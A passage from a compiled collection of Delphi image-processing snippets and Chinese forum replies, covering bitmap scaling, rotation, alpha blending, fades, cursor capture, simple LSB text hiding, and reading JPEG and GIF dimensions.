top:=2*j+n;

right:=2*i+1+m;

bottom:=2*j+1+n;

end;

canvas.copyrect(rect3,bitmap.canvas,rect1);

end;

end;

//缩小四分之一

procedure TForm1.Button3Click(Sender: TObject);

begin

form1.repaint;

for j:=0 to bitmap.height div 2 do

for i:=0 to bitmap.width div 2 do

begin

with rect1 do

begin

left:=2*i;

top:=2*j;

right:=2*i+1;

bottom:=2*j+1;

end;

with rect3 do

begin

left:=i;

top:=j;

right:=i+1;

bottom:=j+1;

end;

canvas.copyrect(rect3,bitmap.canvas,rect1);

end;

end;

//镜像显示

procedure TForm1.Button4Click(Sender: TObject);

begin

form1.repaint;

for i:=0 to bitmap.width do

begin

with rect1 do

begin

left:=i;

top:=0;

right:=i+1;

bottom:=bitmap.height;

end;

with rect2 do

begin

left:=(bitmap.width)-i-1;

top:=0;

right:=(bitmap.width)-i;

bottom:=bitmap.height;

end;

canvas.copyrect(rect2,bitmap.canvas,rect1);

end;

end;


判断一点是否在一多边型内
function ptInPolygon(x,y : integer; Points: array of TPoint) : boolean;

var

rgn:HRGN;

bmp : Tbitmap;

begin

bmp := Tbitmap.create;

BeginPath(bmp.canvas.handle); //开始记录路径

bmp.Canvas.Polygon(points);

EndPath(bmp.canvas.handle); // 闭合路径

rgn:= PathToRegion(bmp.canvas.handle); // 简切视窗

result := PtInRegion(rgn,x,y); // 判断

bmp.free;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if ptinpolygon(1000,1000,[Point(10, 10), Point(30, 10),

Point(130, 30), Point(240, 120)]) then showmessage('In!')

else showmessage('out!');

end;

***********************************

下面是真正的实现的算法：

huizhang (1998-12-31 8:01:35)

实在对不起, 那个算法确实有问题, 缺少一点判断。

现在给你另外一个算法，叫做“跳栅栏算法”。其原理如下：

假设有一个栅栏，你从现在所站地点沿着一个方向跑过去，遇到栅栏时就跳过去，记住你跳了几次。如果次数是单数，则你在栅栏内；如果是双数，则你在栅栏外。以下算法是向东跑过去的实现方法。该算法虽然用了一点除法，但是由于排除了不相关的栅栏，故速度也很快。此外它的优点是与多边形的排列方向无关。

function TForm1.PointInFence(p: TPoint; Fence: Array of TPoint): boolean;

var

p1: TPoint;

ar: integer;

i, j: integer;

begin

ar:=0;

for i:=0 to PtNos-1 do

begin

if i=PtNos-1 then j:=0 else j:=i+1;

//如果在所站点的水平方向上有栅栏存在

if ((((p.y>=Fence[i].y) and (p.y<fence[j].y)) or

((p.y>=fence[j].y) and (p.y<fence[i].y))) and

//且栅栏在我的右方

(p.x<(fence[j].x-fence[i].x)*(p.y-fence[i].y)/(fence[j].y-fence[i].y)+fence[i].x)) then

ar := Ar+1;

end;

result:= (Ar and $1) > 0;

end;


判断TrueType字体
判断TrueType字体

function IsTrueTypeFont(FontName : string) : boolean;

const

PITCH_MASK: byte = $0F;

var

TxMetric: TTextMetric;

TempCanvas : TCanvas;

PitchTest : byte;

begin

TempCanvas := TCanvas.Create;

TempCanvas.Handle := CreateCompatibleDC(0));

TempCanvas.Font.Name := FontName;

GetTextMetrics(TempCanvas.Handle, TxMetric);

PitchTest := TxMetric.tmPitchAndFamily and PITCH_MASK;

Result := ((PitchTest and TMPF_TRUETYPE) <> 0));

TempCanvas.free;

end;

判断是否有TrueType字体

function IsTrueTypeAvailable : bool;

var

{$IFDEF WIN32}

rs : TRasterizerStatus;

{$ELSE}

rs : TRasterizer_Status;

{$ENDIF}

begin

result := false;

if not GetRasterizerCaps(rs, sizeof(rs)) then exit;

if rs.WFlags and TT_AVAILABLE <> TT_AVAILABLE then exit;

if rs.WFlags and TT_ENABLED <> TT_ENABLED then exit;

result := true;

end;


逆时针方向逐渐显示一幅位图
以中心为圆心，一个扇形由0度展开到360度，图象在展开的区域内显示。

飞人 (1998-11-21 17:33:55)

procedure Display( Canvas : TCanvas; bmp : TBitmap; rect : TRect );

//功能：以逆时针方向逐渐显示一幅位图.

//Canvas : 窗口的Canvas;

//bmp : 待显示的位图；

//rect : 显示区域

var

i, a, b, x0, y0, x, y : Integer;

d : Extended;

r : TRect;

Membmp : TBitmap;

begin

a := ( rect.right - rect.left ) div 2; //椭圆横轴

b := ( rect.bottom - rect.top ) div 2; //椭圆纵轴

x0 := rect.Left + a; //椭圆中心

y0 := rect.Top + b; //

r.Left := 0;

r.Top := 0;

r.Right := 2 * a;

r.Bottom := 2 * b;

Membmp := TBitmap.Create; //建立等大的内存位图

Membmp.Width := 2 * a;

Membmp.Height := 2 * b;

Membmp.Canvas.Brush.Color := clBlack; //涂黑

Membmp.Canvas.FillRect( r );

Membmp.Canvas.Brush.Color := clWhite;

for i := 1 to 36 do

begin

d := i / 18 * 3.1415926;

sleep(10);

x := x0 + Round( a * Cos( d ) );

y := y0 - Round( b * Sin( d ) );

//用白色画扇形

if ( i = 36 ) then

Membmp.Canvas.Ellipse( x0 - a, y0 - b, x0 + a, y0 + b )

else

Membmp.Canvas.Pie( x0 - a, y0 - b, x0 + a, y0 + b, x0 + a, y0, x, y );

Membmp.Canvas.CopyMode := cmSrcAnd;

//显示位图的扇形区域

Membmp.Canvas.CopyRect( r, bmp.Canvas, r );

Canvas.CopyRect( rect, Membmp.Canvas, r );

end;

Membmp.Free;

end;


图形的拖动
试试看，带双缓冲的。放大和缩小就用StretchDraw就可以了。

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure FormPaint(Sender: TObject);

procedure FormMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

procedure FormMouseUp(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

private

{ Private declarations }

public

{ Public declarations }

BufBMP,FormBuf : TBitmap;

Position,FirstPt : TPoint;

Down : Boolean;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

BufBMP := TBitmap.Create;

FormBuf := TBitmap.Create;

FormBuf.Width := Width;

FormBuf.Height := Height;

BufBMP.LoadFromFile('c:1.bmp');

Position := Point(0,0);

Down := FALSE;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

BufBMP.Free;

FormBuf.Free;

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

Canvas.Draw(Position.X,Position.Y,BufBMP);

end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

Down := TRUE;

FirstPt := Point(X,Y);

end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

Position := Point(Position.X + X - FirstPt.X,Position.Y + Y - FirstPt.Y);

Down := FALSE;

end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

begin

if Down then begin

FormBuf.Canvas.Pen.color := clBtnFace;

FormBuf.Canvas.Brush.color := clBtnFace;

FormBuf.Canvas.Rectangle(0,0,Width,Height);

FormBuf.Canvas.Draw(Position.X + X - FirstPt.X,Position.Y + Y - FirstPt.Y,BufBMP);

Canvas.Draw(0,0,FormBuf);

end;

end;

end.

***********

type

TForm1 = class(TForm)

...

private

Jpg: TJpegImage;

StartX, StartY, px, py, mx, my: Integer;

MouseDown: Boolean;

procedure WMEraseBkGnd(var Msg: TWMEraseBkGnd); message WM_ERASEBKGND;

...

end;

...

procedure TForm1.FormCreate(Sender: TObject);

begin

Jpg := TJpegImage.Create;

Jpg.LoadFromFile(FileName);

px := 0;

py := 0;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

Jpg.Free;

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

Canvas.Draw(px, py, Jpg);

end;

procedure TForm1.FormResize(Sender: TObject);

begin

if Assigned(Jpg) then begin

mx := ClientWidth - Jpg.Width;

my := ClientHeight - Jpg.Height;

end;

end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

if not MouseDown then begin

MouseDown := True;

StartX := X;

StartY := Y;

end;

end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

begin

if MouseDown then begin

Dec(px, StartX - X);

Dec(py, StartY - Y);

if px > 0 then px := 0;

if px < mx then px := mx;

if py > 0 then py := 0;

if py < my then py := my;

StartX := X;

StartY := Y;

Refresh;

end;

end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

if MouseDown then MouseDown := False;

end;

procedure TForm1.WMEraseBkGnd(var Msg: TWMEraseBkGnd);

begin

Msg.Result := -1;

end;


抓取当前鼠标形状
这样抓取当前鼠标形状:

先定义一个cursor变量:

var GlobalCur:TIcon;

windowhld:hwnd;

threadld:dword;

begin

windowhld:=GetForegroundWindow;

threadld:=GetWindowThreadProcessId(Windowhld,nil);

AttachThreadInput(GetCurrentThreadId,threadld,true);

GlobalCur:=TIcon.Create;

GlobalCur.handle:=GetCursor;

AttachThreadInput(GetCurrentThreadId,threadld,false);

然后

bitmap.canvas.brush.Style:=bsclear;

bitmap.canvas.draw(x,y,GlobalCur); //x,y的值可以通过GetCursorPos得到

****************************

下面是两个演示：

{

The GetCursor() API is limited in that it does not, by default, return a handle to the current

cursor when that cursor is owned by another thread. This article demonstrates a way to retrieve

the current cursor regardless of what thread owns it.

For example, when you wish to include the image of the cursor in a screen capture.

}

function GetCursorHandle: HCURSOR;

var

hWindow : HWND;

pt : TPoint;

pIconInfo : TIconInfo;

dwThreadID, dwCurrentThreadID: DWORD;

begin

// Find out which window owns the cursor

GetCursorPos(pt);

hWindow := WindowFromPoint(pt);

// Get the thread ID for the cursor owner.

dwThreadID := GetWindowThreadProcessId(hWindow, nil);

// Get the thread ID for the current thread

dwCurrentThreadID := GetCurrentThreadId;

// If the cursor owner is not us then we must attach to

// the other thread in so that we can use GetCursor() to

// return the correct hCursor

if (dwCurrentThreadID <> dwThreadID) then

begin

if AttachThreadInput(dwCurrentThreadID, dwThreadID, True) then

begin

// Get the handle to the cursor

Result := GetCursor;

AttachThreadInput(dwCurrentThreadID, dwThreadID, False);

end;

end

else

begin

Result := GetCursor;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

CurPosX, CurPoxY : Integer;

MyCursor : TIcon;

pIconInfo : TIconInfo;

begin

MyCursor := TIcon.Create;

try

MyCursor.Handle := GetCursorHandle;

// Retrieves information about the specified cursor.

GetIconInfo(MyCursor.Handle, pIconInfo);

CurPosX := pIconInfo.xHotspot;

CurPoxY := pIconInfo.yHotspot;

// Draw the Cursor on the form

Canvas.Draw(CurPoxY, CurPoxY, MyCursor);

finally

MyCursor.ReleaseHandle;

MyCursor.Free;

end;

end;

// Another Solution:

procedure TForm1.Timer1Timer(Sender: TObject);

var

CI : TCursorInfo;

begin

CI.cbSize := SizeOf(CI);

GetCursorInfo(CI);

Image1.Picture.Icon.Handle := CI.hCursor;

end;


图像透明算法
如何通过算法设置出象photoshop里一幅图象在另一幅图象上如何透明地显示,

并且可以设置透明度,如50%的透明度。并不是单幅图象的透明性。

BCB(:))　(2001-1-1 15:15:00) 得0分

Tbitmap有关的属性:

1.TansparentColor: 透明色；

2.PixelFormat:指明每一象点颜色所占的二进位数；

pf16bit: 点2字节；

pf24bit: 3字节；

pf32bit: 4字节;

3.ScanLine[行号]；每一行象素缓冲的首址，即数组

的首址，每一象点占连续字节；

有了上面的3个属性，就可以写出合成2幅图象的算法；

算法：

for 第0行 到 最后一行

for 第0列 TO 最后一列

begin

1.取第一幅一个象点c1;

2.取第二幅一个象点c2；

3.如果c1是透明色,c3:=c2;

如果c2是透明色,c3:=c1;

4.送c3

end

nononono(null,null)　(2001-1-1 20:01:00) 得0分

我有个效率不高（速度很慢），但效果绝对好的算法：

for 第0行 到 最后一行

for 第0列 TO 最后一列

begin

1.取第一幅一个像点c1的R色 c1R;

2.取第二幅一个像点c2的R色 c2R；

3.新像点的R色 cR := (c1R*K+c2R*(1-K));

4.取第一幅一个像点c1的G色 c1G;

5.取第二幅一个像点c2的G色 c2G；

6.新像点的G色 cG := (c1G*K+c2G*(1-K));

7.取第一幅一个像点c1的B色 c1B;

8.取第二幅一个像点c2的B色 c2B；

9.新像点的B色 cB := (c1B*K+c2B*(1-K));

10.新像点的RGB色 cRGB := RGB(cR,cG,cB);

end

其中 K 是2个图合并时，第一幅图的权重。改变这个 K 值可以得到一个渐变的效果。

jz_x(北风)　(2001-1-2 15:04:00) 得0分

可将下面代码转换为DELPHI代码就可：

CDC memDC;

CBitmap &cBitmap=m_bmpDraw;

CBitmap* pOldMemBmp = NULL;

COLORREF col,colMask;

CRect cRect;

int x, y;

CRgn wndRgn, rgnTemp;

GetWindowRect(&cRect);

CPoint ptOrg=cRect.TopLeft();

BITMAP bmInfo;

cBitmap.GetObject(sizeof(bmInfo),&bmInfo);

CRect rcNewWnd=CRect(ptOrg,CSize(bmInfo.bmWidth,bmInfo.bmHeight));

memDC.CreateCompatibleDC(pDC);

pOldMemBmp = memDC.SelectObject(&cBitmap);

colMask=memDC.GetPixel(0,0);

wndRgn.CreateRectRgn(0, 0, rcNewWnd.Width(), rcNewWnd.Height());

for(x=0; x<=rcNewWnd.Width(); x++)

{

for(y=0; y<=rcNewWnd.Height(); y++)

{

col = memDC.GetPixel(x, y);

if(col == colMask)

{

rgnTemp.CreateRectRgn(x, y, x+1, y+1);

wndRgn.CombineRgn(&wndRgn, &rgnTemp, RGN_XOR);

rgnTemp.DeleteObject();

}

}

}

if (pOldMemBmp) memDC.SelectObject(pOldMemBmp);

SetWindowRgn((HRGN)wndRgn, TRUE);

MoveWindow(rcNewWnd);

lingweitao(涛生)　(2001-1-2 16:48:00) 得0分

呵呵！看来这些人没明白你的意思呀！我曾经研究过这个问题，不过我是用VC做的，不知道用DELPHI怎么做，不过我可以把算法告诉你：取得两幅为图在每一点的像素值，分离出R，G，B的值，生成位图相应像素的R，G，B由下面公式决定：R=kR1+(1-k)R2 G=kG1+(1-k)G2 B=kB1+(1-k)B2 k为透明度，范围是0%-100% ，R1,R2,G1,G2,B1,B2为混合的两幅位图分离出来的R，G，B值，R，G，B为混合后的相应像素的R，G，B值。

APIer(APIer)　(2001-1-2 17:01:00) 得0分

使用DDraw吧，这是一个简单的Alpha特效啊。

nononono的方法是可行的，但是使用了太多的乘法，还要用到浮点，在16位位图游戏编程中，大家通常使用这样的方法来进行Alpha混合：

1先分色并移位

2进行混色：(混色深度为32，足够了)

DestColor= (RscColor-DestColor)*Alpha_Depth〉〉5+DestColor；（R.G.B分别计算）

3最后合色

欢迎到我的业余游戏制作主页看看，上面有相关的文章：http://calfsoft.51.net

我的Email:APIer@cmmail.com

nononono(null,null)　(2001-1-7 12:39:00) 得0分

akuan,这样试试：

分离RGB3色用"位与"、"移位"运算的方法；

透明的比例按 32、16分级。

如：如果是按32级，

A图的权重 K = n/32，则B图的权重 = (32-n)/32，

可以得到这样的算法：

cR := (c1R*n+c2R*(32-n));

再对cR右移4位。

这样的算法要快很多。


加密图像
procedure EncryptBMP(const BMP: TBitmap; Key: Integer);

var

BytesPorScan: Integer;

w, h: integer;

p: pByteArray;

begin

try

BytesPorScan := Abs(Integer(BMP.ScanLine[1]) -

Integer(BMP.ScanLine[0]));

except

raise Exception.Create('Error');

end;

RandSeed := Key;

for h := 0 to BMP.Height - 1 do

begin

P := BMP.ScanLine[h];

for w := 0 to BytesPorScan - 1 do

P^[w] := P^[w] xor Random(256);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

EncryptBMP(Image1.Picture.Bitmap, 623);

Image1.Refresh;

end;

*****************************************************

下面的代码，可以把字符串隐藏到一个BitMap中！因此非常有用的噢！原理是利用人眼无法分辨微小色彩的变化：

第一个是源文件，第二个是加密后的文件，第三个是利用计算机判断出来的不同的数据点，这些点三面带有加密信息。

加密的信息，存储在每一个像素的最低一个字节上面。

// Do the actual encryption of the message inside the picture.

procedure TForm1.btnEncryptClick(Sender: TObject);

var

x, y, i, j : Integer;

PixelData : TColor;

CharMask, CharData: Byte;

begin

// Assign the original picture to both the target encrypted image

// and delta image. Also make sure thier resolution is sufficient to

// indicate the change in the LSB.

imgTarget.Picture.Assign(imgOrig.Picture);

imgDelta.Picture.Assign(imgOrig.Picture);

imgTarget.Picture.Bitmap.PixelFormat := pf32bit;

imgDelta.Picture.Bitmap.PixelFormat := pf32bit;

x := 0;

y := 0;

// The letter 'c' is identified by the binary representation of '10000011'

// for each '1' in this number change the current pixel's LSB value.

with imgTarget.Picture.Bitmap do

for i := 1 to Length(sourceMessage.Text) do

begin

CharMask := $80;

// 8 bytes for every letter to be encrypted.

for j := 1 to 8 do

begin

// See if the current byte in the character is either '1' or '0'.

CharData := Byte(sourceMessage.Text[i]) and CharMask;

//Data is not zero - change the LSB of the current pixel.

if (CharData <> 0) then

begin

// Xor the LSB value - hence change its value.

PixelData := Canvas.Pixels[x, y] xor $1;

// Store the changed pixel color back in the Pixels array.

Canvas.Pixels[x, y] := PixelData;

end;

// Move to the next pixel.

x := (x + 1) mod Width;

if (x = 0) then

begin

Inc(y);

end;

// Move the mask to be applied to the current character to the

// right, hence will now examine the next bit in the binary

// representation of the current letter to be encrypted.

CharMask := CharMask shr 1;

end;

end;

// Show the difference in the Delta image.

for y := 0 to imgOrig.Picture.Bitmap.Height - 1 do

for x := 0 to imgOrig.Picture.Bitmap.Width - 1 do

// Check for difference, the difference will show in the LSB of every

// pixel in the original and target images.

if (imgOrig.Picture.Bitmap.Canvas.Pixels[x, y] <>

imgTarget.Picture.Bitmap.Canvas.Pixels[x, y]) then

imgDelta.Picture.Bitmap.Canvas.Pixels[x, y] := clYellow;

end;

// Decryption ( by Lemy )

procedure TForm1.btnDecryptClick(Sender: TObject);

var

x, y : integer;

mask, ch : byte;

begin

sourceMessage.Clear;

mask := $80;

ch := 0;

for y := 0 to imgOrig.Picture.Bitmap.Height - 1 do

begin

for x := 0 to imgOrig.Picture.Bitmap.Width - 1 do

begin

// if the pixel is different then set related bit

if (imgOrig.Picture.Bitmap.Canvas.Pixels[x, y] <>

imgTarget.Picture.Bitmap.Canvas.Pixels[x, y]) then

ch := ch or mask;

// shift the bit to the rigtht

mask := mask shr 1;

// if the mask is 0 then the dexryption of a char is completed

// so add to the Text and rest the highest bit

if mask = 0 then

begin

sourceMessage.Text := sourceMessage.Text + char(ch);

mask := $80;

ch := 0;

end;

end;

end;

end;


淡入和淡出
下面的代码可以在窗体上面淡入淡出一个图形：

type

PRGBTripleArray = ^TRGBTripleArray;

TRGBTripleArray = array[0..32767] of TRGBTriple;

/////////////////////////////////////////////////

// Fade In //

/////////////////////////////////////////////////

procedure FadeIn(ImageFileName: TFileName);

var

Bitmap, BaseBitmap: TBitmap;

Row, BaseRow : PRGBTripleArray;

x, y, step : integer;

begin

// Bitmaps vorbereiten / Preparing the Bitmap //

Bitmap := TBitmap.Create;

try

Bitmap.PixelFormat := pf32bit; // oder pf24bit / or pf24bit //

Bitmap.LoadFromFile(ImageFileName);

BaseBitmap := TBitmap.Create;

try

BaseBitmap.PixelFormat := pf32bit;

BaseBitmap.Assign(Bitmap);

// Fading //

for step := 0 to 32 do

begin

for y := 0 to (Bitmap.Height - 1) do

begin

BaseRow := BaseBitmap.Scanline[y];

// Farben vom Endbild holen / Getting colors from final image //

Row := Bitmap.Scanline[y];

// Farben vom aktuellen Bild / Colors from the image as it is now //

for x := 0 to (Bitmap.Width - 1) do

begin

Row[x].rgbtRed := (step * BaseRow[x].rgbtRed) shr 5;

Row[x].rgbtGreen := (step * BaseRow[x].rgbtGreen) shr 5; // Fading //

Row[x].rgbtBlue := (step * BaseRow[x].rgbtBlue) shr 5;

end;

end;

Form1.Canvas.Draw(0, 0, Bitmap); // neues Bild ausgeben / Output new image //

InvalidateRect(Form1.Handle, nil, False);

// Fenster neu zeichnen / Redraw window //

RedrawWindow(Form1.Handle, nil, 0, RDW_UPDATENOW);

end;

finally

BaseBitmap.Free;

end;

finally

Bitmap.Free;

end;

end;

/////////////////////////////////////////////////

// Fade Out //

/////////////////////////////////////////////////

procedure FadeOut(ImageFileName: TFileName);

var

Bitmap, BaseBitmap: TBitmap;

Row, BaseRow: PRGBTripleArray;

x, y, step: integer;

begin

// Bitmaps vorbereiten / Preparing the Bitmap //

Bitmap := TBitmap.Create;

try

Bitmap.PixelFormat := pf32bit; // oder pf24bit / or pf24bit //

Bitmap.LoadFromFile(ImageFileName);

BaseBitmap := TBitmap.Create;

try

BaseBitmap.PixelFormat := pf32bit;

BaseBitmap.Assign(Bitmap);

// Fading //

for step := 32 downto 0 do

begin

for y := 0 to (Bitmap.Height - 1) do

begin

BaseRow := BaseBitmap.Scanline[y];

// Farben vom Endbild holen / Getting colors from final image //

Row := Bitmap.Scanline[y];

// Farben vom aktuellen Bild / Colors from the image as it is now //

for x := 0 to (Bitmap.Width - 1) do

begin

Row[x].rgbtRed := (step * BaseRow[x].rgbtRed) shr 5;

Row[x].rgbtGreen := (step * BaseRow[x].rgbtGreen) shr 5; // Fading //

Row[x].rgbtBlue := (step * BaseRow[x].rgbtBlue) shr 5;

end;

end;

Form1.Canvas.Draw(0, 0, Bitmap); // neues Bild ausgeben / Output new image //

InvalidateRect(Form1.Handle, nil, False);

// Fenster neu zeichnen / Redraw window //

RedrawWindow(Form1.Handle, nil, 0, RDW_UPDATENOW);

sleep(20);

end;

finally

BaseBitmap.Free;

end;

finally

Bitmap.Free;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

FadeIn('F:.BMP')

end;

{*****************************}

{by Yucel Karapinar, ykarapinar@hotmail.com }

{ Only for 24 ve 32 bits bitmaps }

procedure FadeOut(const Bmp: TImage; Pause: Integer);

var

BytesPorScan, counter, w, h: Integer;

p : pByteArray;

begin

if not (Bmp.Picture.Bitmap.PixelFormat in [pf24Bit, pf32Bit]) then

raise Exception.Create('Error, bitmap format is not supporting.');

try

BytesPorScan := Abs(Integer(Bmp.Picture.Bitmap.ScanLine[1]) -

Integer(Bmp.Picture.Bitmap.ScanLine[0]));

except

raise Exception.Create('Error!!');

end;

for counter := 1 to 256 do

begin

for h := 0 to Bmp.Picture.Bitmap.Height - 1 do

begin

P := Bmp.Picture.Bitmap.ScanLine[h];

for w := 0 to BytesPorScan - 1 do

if P^[w] > 0 then P^[w] := P^[w] - 1;

end;

Sleep(Pause);

Bmp.Refresh;

end;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

FadeOut(Image1, 1);

end;


JPEG图像信息
获取JPEG的宽度、高度等信息

{ Copyright Kingron 2002 }

function GetJPEGSize(FileName: string; var Width, Height: WORD): Boolean;

const

JPEG_FLAG_BEGIN = $D8FF;

JPEG_FLAG_END = $D9FF;

JPEG_FRAME = $C0FF;

var

FS: TFileStream;

Flag1, Flag2: WORD;

B: Byte;

procedure SeekForFrame;

type

TSegHeader = packed record

Flag: WORD;

LenHi, LenLo: Byte;

end;

var

Seg: TSegHeader;

begin

with Seg, FS do

repeat

Read(Seg, SizeOf(Seg));

if Flag <> JPEG_FRAME then

Position := Position + MakeWord(LenLo, LenHi) - 2;

until (Position >= Fs.Size) or (Seg.Flag = JPEG_FRAME);

end;

begin

FS := TFileStream.Create(FileName, fmOpenRead);

try

{ JPEG 文件开头必须为 FF D8,文件尾必须为 FF D9 }

FS.Read(Flag1, SizeOf(Flag1));

FS.Position := FS.Size - 2;

FS.Read(Flag2, SizeOf(Flag2));

Result := (Flag1 = JPEG_FLAG_BEGIN) and (Flag2 = JPEG_FLAG_END);

if not Result then exit; { 不是合法的JPEG文件则退出 }

FS.Position := 2;

SeekForFrame; { 寻找JPEG的Frame段，即图像数据区 }

FS.Read(B, SizeOf(B)); { Frame段段头后第一个Byte为数据精度 }

FS.Read(B, SizeOf(B)); { 高度高字节 }

WordRec(Height).Hi := B;

FS.Read(B, SizeOf(B)); { 高度低字节 }

WordRec(Height).Lo := B;

FS.Read(B, SizeOf(B)); { 宽度高字节 }

WordRec(Width).Hi := B;

FS.Read(B, SizeOf(B)); { 宽度低字节 }

WordRec(Width).Lo := B;

finally

FS.Free;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

W, H: Word;

begin

with OpenDialog1 do

if Execute then

if GetJPEGSize(FileName, W, H) then

Caption := Format('Yes,W:%d,H:%d', [W, H])

else Caption := 'No';

end;


GIF图片大小信息
GIF图片大小信息

type

TImageSize = record

Width: Integer;

Height: Integer;

end;

function ReadGIFSize(Stream: TStream): TImageSize;

type

TGifHeader = record

Signature: array [0..5] of Char;

Width, Height: Word;

end;

var

Header: TGifHeader;

begin

FillChar(Header, SizeOf(TGifHeader), #0);

Result.Width := -1;

Result.Height := -1;

with Stream do

begin

Seek(0, soFromBeginning);

ReadBuffer(Header, SizeOf(TGifHeader));

end;

if (AnsiUpperCase(Header.Signature) = 'GIF89A') or

(AnsiUpperCase(Header.Signature) = 'GIF87A') then

begin

Result.Width := Header.Width;

Result.Height := Header.Height;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

const

FileName = 'D:.gif';

var

fs: TFileStream;

gifsize: TImageSize;

begin

fs := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);

try

gifsize := ReadGIFSize(fs);

ShowMessage(Format('Breite %d H?he %d', [gifsize.Width, gifsize.Height]));

finally

fs.Free;

end;

end;


一些图像处理算法
浮雕算法：

R=(R-r)+Number

B=(B-b)+Number

G=(G-g)+Number

模糊算法：

取一个像素块(3*3或5*5或7*7)，求出像素块总的R、G、B值，然后取平均值做当前像素点的R、G、B值。

锐化算法：

R=R+(R-r)+Number

B=B+(B-b)+Number

G=G+(G-g)+Number

其中R,G,B是像素对应的RGB值，r,g,b是该点相临像素的RGB值，Number是决定浮雕效果的阀值，取值(100～150)之间效果较好。

得到像素R、G、B值，可使用API的GetPixel函数，函数原型可民自己去查一下(在Delphi IDE中输入函数名按住Ctrl键，然后用鼠标单击函数名)。

Tcolor=>RGB

R:=byte(bcolor)

B:=byte(bcolor shr 8)

G:=byte(bcolor shr 16)


Delphi中的基本图象处理代码～～～
ehom (？！)

Delphi中的基本图象处理代码～～～

[图像的旋转和翻转]

以下代码用ScanLine配合指针移动实现，用于24位色，至于其它色深的处理和有些代码为什么要这样写的问题可查看我的另一篇文章！

//旋转90度

procedure Rotate90(const Bitmap:TBitmap);

var

i,j:Integer;

rowIn,rowOut:pRGBTriple;

Bmp:TBitmap;

Width,Height:Integer;

begin

Bmp:=TBitmap.Create;

Bmp.Width := Bitmap.Height;

Bmp.Height := Bitmap.Width;

Bmp.PixelFormat := pf24bit;

Width:=Bitmap.Width-1;

Height:=Bitmap.Height-1;

for j := 0 to Height do

begin

rowIn := Bitmap.ScanLine[j];

for i := 0 to Width do

begin

rowOut := Bmp.ScanLine[i];

Inc(rowOut,Height - j);

rowOut^ := rowIn^;

Inc(rowIn);

end;

end;

Bitmap.Assign(Bmp);

end;

//旋转180度

procedure Rotate180(const Bitmap:TBitmap);

var

i,j:Integer;

rowIn,rowOut:pRGBTriple;

Bmp:TBitmap;

Width,Height:Integer;

begin

Bmp:=TBitmap.Create;

Bmp.Width := Bitmap.Width;

Bmp.Height := Bitmap.Height;

Bmp.PixelFormat := pf24bit;

Width:=Bitmap.Width-1;

Height:=Bitmap.Height-1;

for j := 0 to Height do

begin

rowIn := Bitmap.ScanLine[j];

for i := 0 to Width do

begin

rowOut := Bmp.ScanLine[Height - j];

Inc(rowOut,Width - i);

rowOut^ := rowIn^;

Inc(rowIn);

end;

end;

Bitmap.Assign(Bmp);

end;

//旋转270度

procedure Rotate270(const Bitmap:TBitmap);

var

i,j:Integer;

rowIn,rowOut:pRGBTriple;

Bmp:TBitmap;

Width,Height:Integer;

begin

Bmp:=TBitmap.Create;

Bmp.Width := Bitmap.Height;

Bmp.Height := Bitmap.Width;

Bmp.PixelFormat := pf24bit;

Width:=Bitmap.Width-1;

Height:=Bitmap.Height-1;

for j := 0 to Height do

begin

rowIn := Bitmap.ScanLine[j];

for i := 0 to Width do

begin

rowOut := Bmp.ScanLine[Width - i];

Inc(rowOut,j);

rowOut^ := rowIn^;

Inc(rowIn);

end;

end;

Bitmap.Assign(Bmp);

end;

任意角度旋转就是将原图上的像素映射到新图上，以下代码为了好理解，并未进行充分优化！但速度上已经比较快了！我的另一篇文章中对优化问题进行了些简单说明，也就是尽量少用浮点运算！

前面为判断部分，如果是90,180,270这类特殊角度，将调用上面的代码，这样效率更高！

//任意角度

function RotateBitmap(Bitmap:TBitmap;Angle:Integer;BackColor:TColor):TBitmap;

var

i,j,iOriginal,jOriginal,CosPoint,SinPoint : integer;

RowOriginal,RowRotated : pRGBTriple;

SinTheta,CosTheta : Extended;

AngleAdd : integer;

begin

Result:=TBitmap.Create;

Result.PixelFormat := pf24bit;

Result.Canvas.Brush.Color:=BackColor;

Angle:=Angle Mod 360;

if Angle<0 then Angle:=360-Abs(Angle);

if Angle=0 then

Result.Assign(Bitmap)

else if Angle=90 then

begin

Result.Assign(Bitmap);

Rotate90(Result);//如果是旋转90度，直接调用上面的代码

end

else if (Angle>90) and (Angle<180) then

begin

AngleAdd:=90;

Angle:=Angle-AngleAdd;

end

else if Angle=180 then

begin

Result.Assign(Bitmap);

Rotate180(Result);//如果是旋转180度，直接调用上面的过程

end

else if (Angle>180) and (Angle<270) then

begin

AngleAdd:=180;

Angle:=Angle-AngleAdd;

end

else if Angle=270 then

begin

Result.Assign(Bitmap);

Rotate270(Result);//如果是旋转270度，直接调用上面的过程

end

else if (Angle>270) and (Angle<360) then

begin

AngleAdd:=270;

Angle:=Angle-AngleAdd;

end

else
